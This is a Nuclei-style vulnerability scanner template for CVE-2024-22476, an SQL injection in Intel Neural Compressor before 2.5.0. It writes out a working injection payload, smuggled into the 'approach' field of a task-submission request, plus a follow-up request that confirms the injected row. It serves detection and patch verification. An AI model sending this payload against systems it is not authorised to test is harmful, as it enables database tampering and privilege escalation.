id: CVE-2024-22476

info:
  name: Intel Neural Compressor <2.5.0 - SQL Injection
  author: ritikchaddha,daffainfo
  severity: critical
  description: |
    Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.
  impact: |
    Unauthenticated attackers can escalate privileges or perform malicious actions through improper input validation in Intel Neural Compressor.
  remediation: |
    Update Intel Neural Compressor to version 2.5.0 or later.
  reference:
    - https://huntr.com/bounties/300bffa9-b240-4201-a1d9-e3ec8d802e4a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-22476
    cwe-id: CWE-20
    epss-score: 0.35723
    epss-percentile: 0.98306
  metadata:
    max-request: 1
  tags: cve,cve2024,intel,neural-compressor,sqli,intrusive,vuln

variables:
  tid: "{{rand_base(24,'abcdef0123456789')}}"
  marker: "sqli{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /task/submit/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py",
            "optimized": "False",
            "arguments": [
                "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"
            ],
            "approach": "static', 'r', 1, 'pending'),('{{tid}}', 'a', 1, 'a', 'a', 'a', 1, '{{marker}}') -- ",
            "requirements": [],
            "workers": 1
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"task_id\":", "\"status\":", "\"msg\":")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        GET /task/{{tid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":"{{marker}}"'
          - '"optimized_result":'
          - '"result_path":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bf2518be1e460fcce67268b22788f7bba2bb51cdc9295e369e58ed11d548d2b1022100dc688de7cf7f416f7bf2247d16971821b67994b7a832f783cbc1a0066d2b2dbe:922c64590222798bb761d5b6d8e72950